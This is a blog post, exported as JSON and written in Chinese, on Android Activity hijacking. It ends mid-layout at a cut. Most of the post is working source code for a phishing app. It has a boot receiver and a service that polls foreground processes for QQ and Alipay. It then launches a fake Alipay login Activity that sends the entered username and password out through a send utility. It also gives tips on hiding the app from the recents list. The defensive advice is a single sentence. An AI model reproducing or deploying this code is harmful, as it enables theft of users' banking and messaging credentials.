{"id":360,"date":"2023-02-25T08:14:28","date_gmt":"2023-02-25T00:14:28","guid":{"rendered":"https:\/\/www.appblog.cn\/?p=360"},"modified":"2023-04-30T14:43:55","modified_gmt":"2023-04-30T06:43:55","slug":"android-activity-page-hijacking-anti-hijacking","status":"publish","type":"post","link":"https:\/\/www.appblog.cn\/index.php\/2023\/02\/25\/android-activity-page-hijacking-anti-hijacking\/","title":{"rendered":"Android\u4e4bActivity\u754c\u9762\u52ab\u6301\u53cd\u52ab\u6301"},"content":{"rendered":"<h2>\u603b\u7ed3<\/h2>\n<h3>Activity\u52ab\u6301\u539f\u7406<\/h3>\n<p>1\u3001\u6ce8\u518c\u4e00\u4e2aReceiver\uff0c\u54cd\u5e94<code>android.intent.action.BOOT_COMPLETED<\/code>\uff0c\u4f7f\u5f97\u5f00\u673a\u542f\u52a8\u4e00\u4e2aService\uff1b\u8fd9\u4e2aService\uff0c\u4f1a\u542f\u52a8\u4e00\u4e2a\u8ba1\u65f6\u5668\uff0c\u4e0d\u505c\u5faa\u73af\u67e5\u8be2\u6240\u6709\u5f53\u524d\u8fd0\u884c\u7684\u8fdb\u7a0b\uff08\u56e0\u4e3aapp\u53ef\u4ee5\u679a\u4e3e\u7cfb\u7edf\u5f53\u524d\u8fd0\u884c\u8fdb\u7a0b\u800c\u65e0\u9700\u58f0\u660e\u5176\u4ed6\u6743\u9650\uff09<br \/>\n2\u3001\u4e00\u65e6\u53d1\u73b0\u5f53\u524d\u67d0\u4e00\u8fdb\u7a0b\u7684Activity\u6b63\u662f\u6211\u4eec\u60f3\u8981\u52ab\u6301\u7684\uff0c\u5e76\u8fd0\u884c\u5728\u524d\u53f0\uff0c\u6211\u4eec\u7acb\u9a6c\u4f7f\u7528<code>FLAG_ACTIVITY_NEW_TASK<\/code>\u542f\u52a8\u81ea\u5df1\u7684\u9493\u9c7c\u754c\u9762\u5e76\u7f6e\u4e8e\u6808\u9876\u8986\u76d6\u6389\u4e4b\u524d\u7684Activity\uff0c\u83b7\u5f97\u7528\u6237\u654f\u611f\u4fe1\u606f\u5e76\u53d1\u9001\u5230\u670d\u52a1\u5668\u3002<br \/>\n3\u3001<code>AndroidMainfest.xml<\/code>\u914d\u7f6e\u6587\u4ef6\u4e2d\u52a0\u5165<code>andorid:excludeFromRecent=&quot;true&quot;<\/code>\u8fd9\u4e00\u9879\u53ef\u4ee5\u9632\u6b62\u6211\u4eec\u7684\u6076\u610f\u7a0b\u5e8f\u5728\u6700\u8fd1\u8bbf\u95ee\u5217\u8868\u4e2d\u51fa\u73b0\uff08\u8fd9\u4e00\u9879\u5b9e\u9645\u4e0d\u5f71\u54cd\u52ab\u6301\u7684\u53d1\u751f\uff0c\u53ea\u662f\u589e\u52a0\u5176\u5371\u9669\u6027\uff0c\u9632\u6b62\u88ab\u53d1\u73b0\uff09<\/p>\n<p><!-- more --><\/p>\n<h3>\u9632\u8303\u624b\u6bb5<\/h3>\n<p>\u5f53\u4e3b\u7684activity\u9000\u5230\u540e\u53f0\u540e\uff0c\u5f39\u51fa\u4e00\u4e0b\u63d0\u793a\u4fe1\u606f\u63d0\u793a\u7528\u6237\uff0c\u7a0b\u5e8f\u5df2\u7ecf\u9000\u5230\u540e\u53f0\u5373\u53ef\u3002<\/p>\n<h2>\u4ec0\u4e48\u662fActivity\u52ab\u6301<\/h2>\n<p>\u7b80\u5355\u7684\u8bf4\u5c31\u662fAPP\u6b63\u5e38\u7684Activity\u754c\u9762\u88ab\u6076\u610f\u653b\u51fb\u8005\u66ff\u6362\u4e0a\u4eff\u5192\u7684\u6076\u610fActivity\u754c\u9762\u8fdb\u884c\u653b\u51fb\u548c\u975e\u6cd5\u7528\u9014\u3002\u754c\u9762\u52ab\u6301\u653b\u51fb\u901a\u5e38\u96be\u88ab\u8bc6\u522b\u51fa\u6765\uff0c\u5176\u9020\u6210\u7684\u540e\u679c\u4e0d\u4ec5\u4f1a\u7ed9\u7528\u6237\u5e26\u6765\u4e25\u91cd\u635f\u5931\uff0c\u66f4\u662f\u79fb\u52a8\u5e94\u7528\u5f00\u53d1\u8005\u4eec\u7684\u6076\u68a6\u3002\u4e3e\u4e2a\u4f8b\u5b50\u6765\u8bf4\uff0c\u5f53\u7528\u6237\u6253\u5f00\u5b89\u5353\u624b\u673a\u4e0a\u7684\u67d0\u4e00\u5e94\u7528\uff0c\u8fdb\u5165\u5230\u767b\u9646\u9875\u9762\uff0c\u8fd9\u65f6\uff0c\u6076\u610f\u8f6f\u4ef6\u4fa6\u6d4b\u5230\u7528\u6237\u7684\u8fd9\u4e00\u52a8\u4f5c\uff0c\u7acb\u5373\u5f39\u51fa\u4e00\u4e2a\u4e0e\u8be5\u5e94\u7528\u754c\u9762\u76f8\u540c\u7684Activity\uff0c\u8986\u76d6\u6389\u4e86\u5408\u6cd5\u7684Activity\uff0c\u7528\u6237\u51e0\u4e4e\u65e0\u6cd5\u5bdf\u89c9\uff0c\u8be5\u7528\u6237\u63a5\u4e0b\u6765\u8f93\u5165\u7528\u6237\u540d\u548c\u5bc6\u7801\u7684\u64cd\u4f5c\u5176\u5b9e\u662f\u5728\u6076\u610f\u8f6f\u4ef6\u7684Activity\u4e0a\u8fdb\u884c\u7684\uff0c\u6700\u7ec8\u4f1a\u53d1\u751f\u4ec0\u4e48\u5c31\u53ef\u60f3\u800c\u77e5\u4e86\u3002<\/p>\n<h2>Activity\u754c\u9762\u88ab\u52ab\u6301\u7684\u539f\u56e0<\/h2>\n<p>\u5982\u679c\u5728\u542f\u52a8\u4e00\u4e2aActivity\u65f6\uff0c\u7ed9\u5b83\u52a0\u5165\u4e00\u4e2a\u6807\u5fd7\u4f4d<code>FLAG_ACTIVITY_NEW_TASK<\/code>\uff0c\u5c31\u80fd\u4f7f\u5b83\u7f6e\u4e8e\u6808\u9876\u5e76\u7acb\u9a6c\u5448\u73b0\u7ed9\u7528\u6237\u3002\u9488\u5bf9\u8fd9\u4e00\u64cd\u4f5c\uff0c\u5047\u4f7f\u8fd9\u4e2aActivity\u662f\u7528\u4e8e\u76d7\u53f7\u7684\u4f2a\u88c5Activity\u5462\uff1f\u5728Android\u7cfb\u7edf\u5f53\u4e2d\uff0c\u7a0b\u5e8f\u53ef\u4ee5\u679a\u4e3e\u5f53\u524d\u8fd0\u884c\u7684\u8fdb\u7a0b\u800c\u4e0d\u9700\u8981\u58f0\u660e\u5176\u4ed6\u6743\u9650\uff0c\u8fd9\u6837\u5b50\u6211\u4eec\u5c31\u53ef\u4ee5\u5199\u4e00\u4e2a\u7a0b\u5e8f\uff0c\u542f\u52a8\u4e00\u4e2a\u540e\u53f0\u7684\u670d\u52a1\uff0c\u8fd9\u4e2a\u670d\u52a1\u4e0d\u65ad\u5730\u626b\u63cf\u5f53\u524d\u8fd0\u884c\u7684\u8fdb\u7a0b\uff0c\u5f53\u53d1\u73b0\u76ee\u6807\u8fdb\u7a0b\u542f\u52a8\u65f6\uff0c\u5c31\u542f\u52a8\u4e00\u4e2a\u4f2a\u88c5\u7684Activity\u3002\u5982\u679c\u8fd9\u4e2aActivity\u662f\u767b\u5f55\u754c\u9762\uff0c\u90a3\u4e48\u5c31\u53ef\u4ee5\u4ece\u4e2d\u83b7\u53d6\u7528\u6237\u7684\u8d26\u53f7\u5bc6\u7801\u3002 <\/p>\n<h2>\u5e38\u89c1\u7684\u653b\u51fb\u624b\u6bb5<\/h2>\n<ul>\n<li>\u76d1\u542c\u7cfb\u7edfLogocat\u65e5\u5fd7\uff0c\u4e00\u65e6\u76d1\u542c\u5230\u53d1\u751fActivity\u754c\u9762\u5207\u6362\u884c\u4e3a\uff0c\u5373\u8fdb\u884c\u653b\u51fb\uff0c\u8986\u76d6\u4e0a\u5047\u5192Activity\u754c\u9762\u5b9e\u65bd\u6b3a\u9a97\u3002\u5f00\u53d1\u8005\u901a\u5e38\u90fd\u77e5\u9053\uff0c\u7cfb\u7edf\u7684Logcat\u65e5\u5fd7\u4f1a\u7531<code>ActivityManagerService<\/code>\u6253\u5370\u51fa\u5305\u542b\u4e86\u754c\u9762\u4fe1\u606f\u7684\u65e5\u5fd7\u6587\u4ef6\uff0c\u6076\u610f\u7a0b\u5e8f\u5c31\u662f\u901a\u8fc7Logocat\u83b7\u53d6\u8fd9\u4e9b\u4fe1\u606f\uff0c\u4ece\u800c\u76d1\u63a7\u5ba2\u6237\u7aef\u7684\u542f\u52a8\u3001Activity\u754c\u9762\u7684\u5207\u6362<\/li>\n<li>\u76d1\u542c\u7cfb\u7edfAPI\uff0c\u4e00\u65e6\u6076\u610f\u7a0b\u5e8f\u76d1\u542c\u5230\u76f8\u5173\u754c\u9762\u7684API\u7ec4\u4ef6\u8c03\u7528\uff0c\u5373\u53ef\u53d1\u8d77\u653b\u51fb<\/li>\n<li>\u9006\u5411APK\uff0c\u6076\u610f\u653b\u51fb\u8005\u901a\u8fc7\u53cd\u7f16\u8bd1\u548c\u9006\u5411\u5206\u6790APK\uff0c\u4e86\u89e3\u5e94\u7528\u7684\u4e1a\u52a1\u903b\u8f91\u4e4b\u540e\u9488\u5bf9\u6027\u7684\u8fdb\u884cActivity\u754c\u9762\u52ab\u6301\u653b\u51fb<\/li>\n<\/ul>\n<h3>Activity\u8c03\u5ea6\u673a\u5236<\/h3>\n<p>Activity\u4e3a\u4e86\u63d0\u9ad8\u7528\u6237\u4f53\u9a8c\uff0c\u5bf9\u4e8e\u4e0d\u540c\u7684\u5e94\u7528\u7a0b\u5e8f\u4e4b\u95f4\u7684\u5207\u6362\uff0c\u57fa\u672c\u4e0a\u662f\u65e0\u7f1d\u3002\u4ed6\u4eec\u5207\u6362\u7684\u53ea\u662f\u4e00\u4e2aActivity\uff0c\u8ba9\u5207\u6362\u7684\u5230\u524d\u53f0\u663e\u793a\uff0c\u53e6\u4e00\u4e2a\u5e94\u7528\u5219\u88ab\u8986\u76d6\u5230\u540e\u53f0\uff0c\u4e0d\u53ef\u89c1\u3002Activity\u7684\u6982\u5ff5\u76f8\u5f53\u4e8e\u4e00\u4e2a\u4e0e\u7528\u6237\u4ea4\u4e92\u7684\u754c\u9762\u3002\u800cActivity\u7684\u8c03\u5ea6\u662f\u4ea4\u7531Android\u7cfb\u7edf\u4e2d\u7684AMS\u7ba1\u7406\u7684\u3002AmS\u5373ActivityManagerService\uff08Activity\u7ba1\u7406\u670d\u52a1\uff09\uff0c\u5404\u4e2a\u5e94\u7528\u60f3\u542f\u52a8\u6216\u505c\u6b62\u4e00\u4e2a\u8fdb\u7a0b\uff0c\u90fd\u662f\u5148\u62a5\u544a\u7ed9AMS\u3002\u5f53AMS\u6536\u5230\u8981\u542f\u52a8\u6216\u505c\u6b62Activity\u7684\u6d88\u606f\u65f6\uff0c\u5b83\u5148\u66f4\u65b0\u5185\u90e8\u8bb0\u5f55\uff0c\u518d\u901a\u77e5\u76f8\u5e94\u7684\u8fdb\u7a0b\u8fd0\u884c\u6216\u505c\u6b62\u6307\u5b9a\u7684Activity\u3002\u5f53\u65b0\u7684Activity\u542f\u52a8\uff0c\u524d\u4e00\u4e2aActivity\u5c31\u4f1a\u505c\u6b62\uff0c\u8fd9\u4e9bActivity\u90fd\u4fdd\u7559\u5728\u7cfb\u7edf\u4e2d\u7684\u4e00\u4e2aActivity\u5386\u53f2\u6808\u4e2d\u3002\u6bcf\u6709\u4e00\u4e2aActivity\u542f\u52a8\uff0c\u5b83\u5c31\u538b\u5165\u5386\u53f2\u6808\u9876\uff0c\u5e76\u5728\u624b\u673a\u4e0a\u663e\u793a\u3002\u5f53\u7528\u6237\u6309\u4e0bback\u952e\u65f6\uff0c\u9876\u90e8Activity\u5f39\u51fa\uff0c\u6062\u590d\u524d\u4e00\u4e2aActivity\uff0c\u6808\u9876\u6307\u5411\u5f53\u524d\u7684Activity\u3002 <\/p>\n<h3>Android\u8bbe\u8ba1\u4e0a\u7684\u7f3a\u9677 \u2014\u2014 Activity\u52ab\u6301<\/h3>\n<p>\u5982\u679c\u5728\u542f\u52a8\u4e00\u4e2aActivity\u65f6\uff0c\u7ed9\u5b83\u52a0\u5165\u4e00\u4e2a\u6807\u5fd7\u4f4d<code>FLAG_ACTIVITY_NEW_TASK<\/code>\uff0c\u5c31\u80fd\u4f7f\u5b83\u7f6e\u4e8e\u6808\u9876\u5e76\u7acb\u9a6c\u5448\u73b0\u7ed9\u7528\u6237\u3002\u4f46\u662f\u8fd9\u6837\u7684\u8bbe\u8ba1\u5374\u6709\u4e00\u4e2a\u7f3a\u9677\u3002\u5982\u679c\u8fd9\u4e2aActivity\u662f\u7528\u4e8e\u76d7\u53f7\u7684\u4f2a\u88c5Activity\u5462\uff1f <\/p>\n<p>\u5728Android\u7cfb\u7edf\u5f53\u4e2d\uff0c\u7a0b\u5e8f\u53ef\u4ee5\u679a\u4e3e\u5f53\u524d\u8fd0\u884c\u7684\u8fdb\u7a0b\u800c\u4e0d\u9700\u8981\u58f0\u660e\u5176\u4ed6\u6743\u9650\uff0c\u8fd9\u6837\u5b50\u6211\u4eec\u5c31\u53ef\u4ee5\u5199\u4e00\u4e2a\u7a0b\u5e8f\uff0c\u542f\u52a8\u4e00\u4e2a\u540e\u53f0\u7684\u670d\u52a1\uff0c\u8fd9\u4e2a\u670d\u52a1\u4e0d\u65ad\u5730\u626b\u63cf\u5f53\u524d\u8fd0\u884c\u7684\u8fdb\u7a0b\uff0c\u5f53\u53d1\u73b0\u76ee\u6807\u8fdb\u7a0b\u542f\u52a8\u65f6\uff0c\u5c31\u542f\u52a8\u4e00\u4e2a\u4f2a\u88c5\u7684Activity\u3002\u5982\u679c\u8fd9\u4e2aActivity\u662f\u767b\u5f55\u754c\u9762\uff0c\u90a3\u4e48\u5c31\u53ef\u4ee5\u4ece\u4e2d\u83b7\u53d6\u7528\u6237\u7684\u8d26\u53f7\u5bc6\u7801\u3002<\/p>\n<p>\u4e00\u4e2a\u8fd0\u884c\u5728\u540e\u53f0\u7684\u670d\u52a1\u53ef\u4ee5\u505a\u5230\u5982\u4e0b\u4e24\u70b9\uff1a\uff081\uff09\u51b3\u5b9a\u54ea\u4e00\u4e2aActivity\u8fd0\u884c\u5728\u524d\u53f0\uff0c\uff082\uff09\u8fd0\u884c\u81ea\u5df1app\u7684Activity\u5230\u524d\u53f0\u3002<\/p>\n<p>\u8fd9\u6837\uff0c\u6076\u610f\u7684\u5f00\u53d1\u8005\u5c31\u53ef\u4ee5\u5bf9\u5e94\u7a0b\u5e8f\u8fdb\u884c\u653b\u51fb\uff0c\u5bf9\u4e8e\u6709\u767b\u9646\u754c\u9762\u7684\u5e94\u7528\u7a0b\u5e8f\uff0c\u4ed6\u4eec\u53ef\u4ee5\u4f2a\u9020\u4e00\u4e2a\u4e00\u6a21\u4e00\u6837\u7684\u754c\u9762\uff0c\u666e\u901a\u7528\u6237\u6839\u672c\u65e0\u6cd5\u8bc6\u522b\u662f\u771f\u7684\u8fd8\u662f\u5047\u3002\u7528\u6237\u8f93\u5165\u7528\u6237\u540d\u548c\u5bc6\u7801\u4e4b\u540e\uff0c\u6076\u610f\u7a0b\u5e8f\u5c31\u53ef\u4ee5\u6084\u65e0\u58f0\u606f\u7684\u628a\u7528\u6237\u4fe1\u606f\u4e0a\u4f20\u5230\u670d\u52a1\u5668\u3002<\/p>\n<h3>\u793a\u4f8b\u4ee3\u7801<\/h3>\n<p>AndroidManifest.xml<\/p>\n<pre><code class=\"language-xml\">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;\n&lt;manifest xmlns:android=&quot;http:\/\/schemas.android.com\/apk\/res\/android&quot;\n    package=&quot;com.sinaapp.msdxblog.android.activityhijacking&quot;\n    android:versionCode=&quot;1&quot;\n    android:versionName=&quot;1.0&quot; &gt;\n\n    &lt;uses-sdk android:minSdkVersion=&quot;4&quot; \/&gt;\n\n    &lt;uses-permission android:name=&quot;android.permission.INTERNET&quot; \/&gt;\n    &lt;uses-permission android:name=&quot;android.permission.RECEIVE_BOOT_COMPLETED&quot; \/&gt;\n\n    &lt;application\n        android:name=&quot;.HijackingApplication&quot;\n        android:icon=&quot;@drawable\/icon&quot;\n        android:label=&quot;@string\/app_name&quot; &gt;\n        &lt;activity  \n            android:name=&quot;.activity.HijackingActivity&quot;\n            android:theme=&quot;@style\/transparent&quot;\n            android:label=&quot;@string\/app_name&quot; &gt;\n            &lt;intent-filter&gt;  \n                &lt;action android:name=&quot;android.intent.action.MAIN&quot; \/&gt;\n                &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot; \/&gt;\n            &lt;\/intent-filter&gt;\n        &lt;\/activity&gt;\n        &lt;activity android:name=&quot;.activity.sadstories.JokeActivity&quot; \/&gt;\n        &lt;activity android:name=&quot;.activity.sadstories.QQStoryActivity&quot; \/&gt;\n        &lt;activity android:name=&quot;.activity.sadstories.AlipayStoryActivity&quot; \/&gt;\n\n        &lt;receiver\n            android:name=&quot;.receiver.HijackingReceiver&quot;\n            android:enabled=&quot;true&quot;\n            android:exported=&quot;true&quot; &gt;\n            &lt;intent-filter&gt;\n                &lt;action android:name=&quot;android.intent.action.BOOT_COMPLETED&quot; \/&gt;\n            &lt;\/intent-filter&gt;\n        &lt;\/receiver&gt;\n\n        &lt;service android:name=&quot;.service.HijackingService&quot; &gt;\n        &lt;\/service&gt;\n    &lt;\/application&gt;\n\n&lt;\/manifest&gt;<\/code><\/pre>\n<p>\u5728\u4ee5\u4e0a\u7684\u4ee3\u7801\u4e2d\uff0c\u58f0\u660e\u4e86\u4e00\u4e2a\u670d\u52a1Service\uff0c\u7528\u4e8e\u679a\u4e3e\u5f53\u524d\u8fd0\u884c\u7684\u8fdb\u7a0b\u3002\u5176\u4e2d\u5982\u679c\u4e0d\u60f3\u5f00\u673a\u542f\u52a8\u7684\u8bdd\uff0c\u751a\u81f3\u53ef\u4ee5\u628a\u4ee5\u4e0aReceiver\u90e8\u5206\u7684\u4ee3\u7801\uff0c\u53ca\u58f0\u660e\u5f00\u673a\u542f\u52a8\u7684\u6743\u9650\u7684\u8fd9\u4e00\u884c\u4ee3\u7801<code>&lt;uses-permission android:name=&quot;android.permission.RECEIVE_BOOT_COMPLETED&quot; \/&gt;<\/code>\u53bb\u6389\uff0c\u4ec5\u4ec5\u9700\u8981\u8bbf\u95ee\u7f51\u7edc\u7684\u6743\u9650\uff08\u5411\u5916\u53d1\u9001\u83b7\u53d6\u5230\u7684\u8d26\u53f7\u5bc6\u7801\uff09\uff0c\u5355\u4ece<code>AndroidManifest.xml<\/code>\u6587\u4ef6\u662f\u770b\u4e0d\u51fa\u4efb\u4f55\u5f02\u5e38\u7684<\/p>\n<p>\u4e0b\u9762\u662f\u6b63\u5e38\u7684Activity\u7684\u4ee3\u7801\u3002\u5728\u8fd9\u91cc\u53ea\u662f\u542f\u52a8\u7528\u4e8eActivity\u52ab\u6301\u7684\u670d\u52a1\u3002\u5982\u679c\u5728\u4e0a\u9762\u7684\u4ee3\u7801\u4e2d\u5df2\u7ecf\u58f0\u660e\u4e86\u5f00\u673a\u542f\u52a8\uff0c\u5219\u8fd9\u4e00\u6b65\u4e5f\u53ef\u4ee5\u7701\u7565\u3002<\/p>\n<pre><code class=\"language-java\">import android.app.Activity;\nimport android.content.Intent;\nimport android.os.Bundle;\nimport android.util.Log;\nimport com.sinaapp.msdxblog.android.activityhijacking.R;\nimport com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;\n\npublic class HijackingActivity extends Activity {\n    @Override\n    public void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.main);\n        Intent intent = new Intent(this, HijackingService.class);\n        startService(intent);\n        Log.w(&quot;yezhou&quot;, &quot;Activity\u542f\u52a8\u7528\u6765\u52ab\u6301\u7684Service&quot;);\n    }\n}<\/code><\/pre>\n<p>\u5982\u679c\u60f3\u8981\u5f00\u673a\u542f\u52a8\uff0c\u5219\u9700\u8981\u4e00\u4e2aReceiver\uff0c\u5373\u5e7f\u64ad\u63a5\u6536\u5668\uff0c\u5728\u5f00\u673a\u65f6\u5f97\u5230\u5f00\u673a\u542f\u52a8\u7684\u5e7f\u64ad\uff0c\u5e76\u5728\u8fd9\u91cc\u542f\u52a8\u670d\u52a1\u3002\u5982\u679c\u6ca1\u6709\u5f00\u673a\u542f\u52a8\uff0c\u5219\u8fd9\u4e00\u6b65\u53ef\u4ee5\u7701\u7565\u3002<\/p>\n<pre><code class=\"language-java\">import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;\nimport android.content.BroadcastReceiver;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.util.Log;\n\npublic class HijackingReceiver extends BroadcastReceiver {\n\n    @Override\n    public void onReceive(Context context, Intent intent) {\n        if (intent.getAction().equals(&quot;android.intent.action.BOOT_COMPLETED&quot;)) {\n            Log.w(&quot;yezhou&quot;, &quot;\u5f00\u673a\u542f\u52a8&quot;);\n            Intent intent = new Intent(context, HijackingService.class);\n            context.startService(intent);\n            Log.w(&quot;yezhou&quot;, &quot;\u542f\u52a8\u7528\u6765\u52ab\u6301\u7684Service&quot;);\n        }\n    }\n}<\/code><\/pre>\n<p>\u4e0b\u9762\u8fd9\u4e2a<code>HijackingService<\/code>\u7c7b\u662f\u5173\u952e\u903b\u8f91\uff0c\u5373\u7528\u6765\u8fdb\u884cActivity\u52ab\u6301\u7684\u3002\u5728\u8fd9\u91cc\uff0c\u5c06\u8fd0\u884c\u679a\u4e3e\u5f53\u524d\u8fd0\u884c\u7684\u8fdb\u7a0b\uff0c\u53d1\u73b0\u76ee\u6807\u8fdb\u7a0b\uff0c\u5f39\u51fa\u4f2a\u88c5\u7a0b\u5e8f\u3002 <\/p>\n<pre><code class=\"language-java\">import java.util.HashMap;\nimport java.util.List;\n\nimport android.app.ActivityManager;\nimport android.app.ActivityManager.RunningAppProcessInfo;\nimport android.app.Service;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.os.Handler;\nimport android.os.IBinder;\nimport android.util.Log;\n\nimport com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;\nimport com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;\nimport com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;\nimport com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;\n\npublic class HijackingService extends Service {\n    private boolean hasStart = false;\n\n    HashMap&lt;String, Class&lt;?&gt;&gt; mSadStories = new HashMap&lt;String, Class&lt;?&gt;&gt;();\n\n    \/\/ Timer mTimer = new Timer();\n    Handler handler = new Handler();\n\n    Runnable mTask = new Runnable() {\n\n        @Override\n        public void run() {\n            ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);\n            List&lt;RunningAppProcessInfo&gt; appProcessInfos = activityManager.getRunningAppProcesses();\n            \/\/ \u679a\u4e3e\u8fdb\u7a0b\n            Log.w(&quot;yezhou&quot;, &quot;\u6b63\u5728\u679a\u4e3e\u8fdb\u7a0b&quot;);\n            for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {\n                \/\/ \u5982\u679cAPP\u5728\u524d\u53f0\n                if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {\n                    if (mSadStories.containsKey(appProcessInfo.processName)) {\n                        \/\/ \u8fdb\u884c\u52ab\u6301\n                        hijacking(appProcessInfo.processName);\n                    } else {\n                         Log.w(&quot;yezhou&quot;, appProcessInfo.processName);\n                    }\n                }\n            }\n            handler.postDelayed(mTask, 1000);\n        }\n\n        \/**\n         * \u8fdb\u884c\u52ab\u6301\n         * @param processName\n         *\/\n        private void hijacking(String processName) {\n            Log.w(&quot;yezhou&quot;, &quot;\u52ab\u6301\u5f00\u59cb&quot;);\n            if (((HijackingApplication) getApplication()).hasProgressBeHijacked(processName) == false) {\n                Intent jackingIsComing = new Intent(getBaseContext(), mSadStories.get(processName));\n                jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n                getApplication().startActivity(jackingIsComing);\n                ((HijackingApplication) getApplication()).addProgressHijacked(processName);\n                Log.w(&quot;yezhou&quot;, &quot;\u5df2\u7ecf\u52ab\u6301&quot;);\n            }\n        }\n    };\n\n    @Override\n    public IBinder onBind(Intent intent) {\n        return null;\n    }\n\n    @Override\n    public void onStart(Intent intent, int startId) {\n        super.onStart(intent, startId);\n        if (!hasStart) {\n            mSadStories.put(&quot;com.sinaapp.msdxblog.android.lol&quot;, JokeActivity.class);\n            mSadStories.put(&quot;com.tencent.mobileqq&quot;, QQStoryActivity.class);\n            mSadStories.put(&quot;com.eg.android.AlipayGphone&quot;, AlipayStoryActivity.class);\n            handler.postDelayed(mTask, 1000);\n            hasStart = true;\n        }\n    }\n\n    @Override\n    public boolean stopService(Intent name) {\n        hasStart = false;\n        Log.w(&quot;yezhou&quot;, &quot;\u52ab\u6301\u670d\u52a1\u505c\u6b62&quot;);\n        ((HijackingApplication) getApplication()).clearProgressHijacked();\n        return super.stopService(name);\n    }\n}<\/code><\/pre>\n<p>\u7f16\u5199<code>HijackingApplication<\/code>\u7c7b\uff0c\u8fd9\u4e2a\u7c7b\u7684\u4e3b\u8981\u529f\u80fd\u662f\uff0c\u4fdd\u5b58\u5df2\u7ecf\u52ab\u6301\u8fc7\u7684\u5305\u540d\uff0c\u9632\u6b62\u6211\u4eec\u591a\u6b21\u52ab\u6301\u589e\u52a0\u66b4\u9732\u98ce\u9669\u3002\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-java\">public class HijackingApplication {\n    private static List&lt;String&gt; hijackings = new ArrayList();\n\n    public static void addProgressHijacked(String paramString) {\n       hijackings.add(paramString);\n    }\n\n    public static void clearProgressHijacked() {\n       hijackings.clear();\n    }\n\n    public static boolean hasProgressBeHijacked(String paramString) {\n       return hijackings.contains(paramString);\n    }\n}<\/code><\/pre>\n<p>\u4e0b\u9762\u662f\u652f\u4ed8\u5b9d\u7684\u4f2a\u88c5\u7c7b<\/p>\n<pre><code class=\"language-java\">import android.app.Activity;\nimport android.os.Bundle;\nimport android.os.Handler;\nimport android.os.HandlerThread;\nimport android.text.Html;\nimport android.view.View;\nimport android.widget.Button;\nimport android.widget.EditText;\nimport android.widget.TextView;\nimport com.sinaapp.msdxblog.android.activityhijacking.R;\nimport com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;\n\npublic class AlipayStoryActivity extends Activity {\n    private EditText name;\n    private EditText password;\n    private Button mBtAlipay;\n    private Button mBtTaobao;\n    private Button mBtRegister;\n\n    private TextView mTvFindpswd;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        this.setTheme(android.R.style.Theme_NoTitleBar);\n        setContentView(R.layout.alipay);\n        mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);\n        mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);\n        mBtRegister = (Button) findViewById(R.id.alipay_bt_register);\n        mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);\n        mTvFindpswd.setText(Html.fromHtml(&quot;[u]\u627e\u56de\u767b\u5f55\u5bc6\u7801[\/u]&quot;));\n        mBtAlipay.setSelected(true);\n\n        name = (EditText) findViewById(R.id.input_name);\n        password = (EditText) findViewById(R.id.input_password);\n    }\n\n    public void onButtonClicked(View v) {\n        switch (v.getId()) {\n        case R.id.alipay_bt_login:\n            HandlerThread handlerThread = new HandlerThread(&quot;send&quot;);\n            handlerThread.start();\n            new Handler(handlerThread.getLooper()).post(new Runnable() {\n                @Override\n                public void run() {\n                    \/\/ \u53d1\u9001\u83b7\u53d6\u5230\u7684\u7528\u6237\u5bc6\u7801\n                    SendUtil.sendInfo(name.getText().toString(), password.getText().toString(), &quot;\u652f\u4ed8\u5b9d&quot;);\n                }\n            });\n            moveTaskToBack(true);\n            break;\n        case R.id.alipay_bt_alipay:\n            chooseToAlipay();\n            break;\n        case R.id.alipay_bt_taobao:\n            chooseToTaobao();\n            break;\n        default:\n            break;\n        }\n    }\n\n    private void chooseToAlipay() {\n        mBtAlipay.setSelected(true);\n        mBtTaobao.setSelected(false);\n        name.setHint(R.string.alipay_name_alipay_hint);\n        mTvFindpswd.setVisibility(View.VISIBLE);\n        mBtRegister.setVisibility(View.VISIBLE);\n    }\n\n    private void chooseToTaobao() {\n        mBtAlipay.setSelected(false);\n        mBtTaobao.setSelected(true);\n        name.setHint(R.string.alipay_name_taobao_hint);\n        mTvFindpswd.setVisibility(View.GONE);\n        mBtRegister.setVisibility(View.GONE);\n    }\n}<\/code><\/pre>\n<p>\u5e03\u5c40\u6587\u4ef6activity_main.xml<\/p>\n<pre><code class=\"language-xml\">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;\n&lt;RelativeLayout xmlns:android=&quot;http:\/\/schemas.android.com\/apk\/res\/android&quot;\nxmlns:tools=&quot;http:\/\/schemas.android.com\/tools&quot;\nandroid:layout_width=&quot;match_parent&quot;\nandroid:layout_height=&quot;match_parent&quot;\nandroid:paddingBottom=&quot;@dimen\/activity_vertical_margin&quot;\nandroid:paddingLeft=&quot;@dimen\/activity_horizontal_margin&quot;\nandroid:paddingRight=&quot;@dimen\/activity_horizontal_margin&quot;\nandroid:paddingTop=&quot;@dimen\/activity_vertical_margin&quot;\n>\n&lt;LinearLayout\n    android:id=&quot;@+id\/linear&quot;\n    android:orientation=&quot;vertical&quot;\n    android:layout_width=&quot;match_parent&quot;\n    android:layout_height=&quot;wrap_content&quot;&gt;\n    &lt;LinearLayout\n        android:orientation=&quot;horizontal&quot;\n        android:layout_width=&quot;match_parent&quot;\n        android:layout_height=&quot;wrap_content&quot;&gt;\n        &lt;TextView\n            